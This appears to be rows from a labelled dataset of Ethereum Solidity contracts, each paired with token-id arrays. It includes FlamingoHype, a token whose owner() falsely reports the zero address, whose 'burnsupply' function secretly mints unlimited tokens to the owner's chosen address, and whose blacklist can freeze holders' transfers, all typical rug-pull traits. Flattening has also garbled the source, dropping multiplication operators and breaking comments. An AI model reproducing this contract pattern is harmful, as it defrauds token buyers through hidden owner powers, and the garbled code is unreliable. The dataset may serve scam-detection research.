lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return address(0); } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FlamingoHype is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; uint256 private _tTotal = 20 10*9 10**18; string private _name = 'Flamingo Hype t.me/FlamingoHype'; string private _symbol = 'FLAHY'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burnsupply(address receiver, uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[receiver] = _balances[receiver].add(amount); emit Transfer(address(0), receiver, amount); } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(!_isBlackListedBot[recipient], "You have no power here!"); require(!_isBlackListedBot[msg.sender], "You have no power here!"); require(!_isBlackListedBot[sender], "You have no power here!"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 5718, 1008, 1013, 1013, 1008, 1008, 1008, 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/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC / // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string[]public offers; // offers made for token redemption - updateable by manager string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; event AddOffer(uint256 index, string terms); event AmendOffer(uint256 index, string terms); event Approval(address indexed owner, address indexed spender, uint256 value); event Redeem(string redemption); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale); event UpdateTransferability(bool transferable); function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; if (_managerSupply > 0) {_mint(_manager, _managerSupply);} if (_saleSupply > 0) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function _burn(address from, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function burn(uint256 value) external { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) external { _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _burn(from, value); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue)); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue)); return true; } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } function purchase() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function redeem(uint256 value, string calldata redemption) external { // burn token with redemption message _burn(msg.sender, value); emit Redeem(redemption); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /************** MANAGER FUNCTIONS **************/ modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function addOffer(string calldata offer) external onlyManager { offers.push(offer); emit AddOffer(offers.length-1, offer); } function amendOffer(uint256 index, string calldata offer) external onlyManager { offers[index] = offer; emit AmendOffer(index, offer); } function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _burnToken, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; if (_saleSupply > 0 && _burnToken) {_burn(address(this), _saleSupply);} if (_saleSupply > 0 && !_burnToken) {_mint(address(this), _saleSupply);} if (_forSale) {require(_saleRate > 0, "_saleRate = 0");} emit UpdateSale(_saleRate, _saleSupply, _burnToken, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withdrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract require(token.length == withdrawTo.length && token.length == value.length, "!token/withdrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withdrawTo[i], withdrawalValue); } } }	True	[ 101, 1013, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 6203, 5796, 2290, 1012, 4604, 2121, 1006, 1055, 1007, 1024, 1013, 17244, 18715, 2368, 2003, 1037, 2622, 1999, 8247, 1012, 1013, 1013, 3531, 15727, 1998, 2224, 2012, 2115, 2219, 3891, 1012, 1013, 1013, 1013, 4443, 2046, 17244, 18715, 2368, 4618, 2025, 3443, 2019, 4905, 1013, 7396, 3276, 1012, 1013, 1013, 1013, 1013, 10655, 1010, 17244, 18715, 2368, 2323, 2025, 2022, 9530, 3367, 28551, 2004, 3423, 6040, 2030, 6110, 2005, 2658, 9517, 1012, 1013, 1013, 1013, 1013, 1013, 8954, 2023, 1039, 2692, 2094, 2509, 14540, 2549, 2860, 1013, 1013, 1013, 1013, 1013, 1013, 3591, 2011, 17244, 2850, 2080, 11775, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1018, 1025, 8278, 29464, 11890, 11387, 1063, 1013, 1013, 4766, 8278, 2005, 9413, 2278, 11387, 19204, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 1013, 1013, 20204, 10236, 4842, 2005, 3131, 2104, 1013, 2058, 12314, 4638, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 1065, 3206, 17244, 18715, 2368, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 4769, 3477, 3085, 2270, 3208, 1025, 1013, 1013, 4070, 6605, 19204, 3513, 1004, 5096, 1011, 2156, 1005, 3208, 4972, 1005, 1011, 10651, 3085, 2011, 3208, 21318, 3372, 2620, 2270, 26066, 2015, 1025, 1013, 1013, 4964, 3131, 25169, 5387, 1011, 12398, 2324, 2000, 2674, 3802, 2232, 21318, 3372, 17788, 2575, 2270, 5096, 11657, 1025, 1013, 1013, 3446, 1997, 19204, 5309, 2043, 6016, 3802, 2232, 2000, 3206, 1011, 1041, 1012, 1043, 1012, 1010, 2184, 5096, 11657, 5651, 2184, 19204, 2566, 1015, 3802, 2232, 1011, 10651, 3085, 2011, 3208, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'Boss.exchange' DEX contract // // Admin : 0x10e7FC79D42a373E02AEBaa598DB07e34833a11a // fees : zero (0) // // // Copyright (c) Boss.Exchange. The MIT Licence. // Contract crafted by: Boss Team // ---------------------------------------------------------------------------- interface transferToken { function transfer(address receiver, uint amount) external; } /** * @title SafeMath * @dev Math operations with safety checks that throw on error / library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. / constructor() public { owner = msg.sender; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(msg.sender == owner); _; } /* * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. / function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /* * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 / contract ERC20Basic { /// Total amount of tokens uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _amount) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); } /* * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 / contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success); function approve(address _spender, uint256 _amount) public returns (bool success); event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @title Basic token * @dev Basic version of StandardToken, with no allowances. / contract BasicToken is ERC20Basic { using SafeMath for uint256; //balance in each address account mapping(address => uint256) balances; /* * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _amount The amount to be transferred. / function transfer(address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. / function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /* * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 / contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _amount uint256 the amount of tokens to be transferred / function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _amount); require(allowed[_from][msg.sender] >= _amount); require(_amount > 0 && balances[_to].add(_amount) > balances[_to]); balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); emit Transfer(_from, _to, _amount); return true; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _amount The amount of tokens to be spent. / function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. / function 